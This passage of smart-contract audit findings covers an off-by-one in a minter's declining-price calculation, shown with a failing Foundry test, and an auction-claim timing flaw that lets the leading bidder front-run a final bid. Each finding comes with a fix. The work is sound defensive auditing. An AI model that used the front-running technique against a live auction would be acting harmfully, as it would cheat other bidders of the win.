            block.timestamp + 3 days, // _publicStartTime
            block.timestamp + 13 days, // _publicEndTime
            merkleRoot_msgSender
        );

        // jump
        vm.warp(block.timestamp + 1 days);
        console.log("0 timePeriod decrease ->", hhMinter.getPrice(1));

        skip(1 days);
        console.log("1 timePeriod decrease ->", hhMinter.getPrice(1));

        skip(1 days);
        console.log("2 timePeriod decrease ->", hhMinter.getPrice(1));

        skip(1 days);
        console.log("3 timePeriod decrease ->", hhMinter.getPrice(1));

        // @audit-issue : calculated price is 3 ether instead of the expected 4 ether
        skip(1 days);
        uint256 calculatedPrice = hhMinter.getPrice(1);
        console.log("4 timePeriod decrease ->", calculatedPrice);

        skip(1 days);
        console.log("5 timePeriod decrease ->", hhMinter.getPrice(1));

        assertEq(calculatedPrice, 4 ether); // fails
    }
}

Output:

Logs:
  0 timePeriod decrease -> 12000000000000000000
  1 timePeriod decrease -> 10000000000000000000
  2 timePeriod decrease -> 8000000000000000000
  3 timePeriod decrease -> 6000000000000000000
  4 timePeriod decrease -> 3000000000000000000      <------- Incorrect 
  5 timePeriod decrease -> 3000000000000000000
  Error: a == b not satisfied [uint]
        Left: 3000000000000000000
       Right: 4000000000000000000

Tools Used

Manual inspection, Foundry.

Recommended Mitigation Steps

Make the following change:

File: smart-contracts/MinterContract.sol#L553

-   if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff) {
+   if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) >= tDiff) {

Assessed type

Math

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Impact

Any bids placed at timestamp equal to minter.getAuctionEndTime(_tokenid) via participateToAuction() run the risk of getting front-run by claimAuction() called at the same timestamp, and effectively not considering any of these bids thus paying the winning amount to an incorrect winner.

Proof of Concept

participateToAuction() allows particpation till end of auction time (inclusive, as expected) via a <= comparison inside require which says && block.timestamp <= minter.getAuctionEndTime(_tokenid). So, the highest bidder could come into picture at timestamp minter.getAuctionEndTime(_tokenid). <br>

However, claimAuction() has a require which checks: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) using >= instead of using a >, which means that someone bidding at timestamp minter.getAuctionEndTime(_tokenid), who could have been the highest bidder, can be excluded from the check of returnHighestBidder() which is called by claimAuction's modifier WinnerOrAdminRequired. This can happen if this last bidder's transaction is ordered after the claimAuction transaction which the so-far-highest-bidder has chosen to call at timestamp equal to minter.getAuctionEndTime(_tokenid). <br> Note that the so-far-highest-bidder can also plan this maliciously by paying a higher gas fee and making sure call to claimAuction is executed first in the mempool.

Tools Used

Manual inspection.

Recommended Mitigation Steps

Make the following change:

File: smart-contracts/AuctionDemo.sol#L105

-   require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
+   require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

Assessed type

Invalid Validation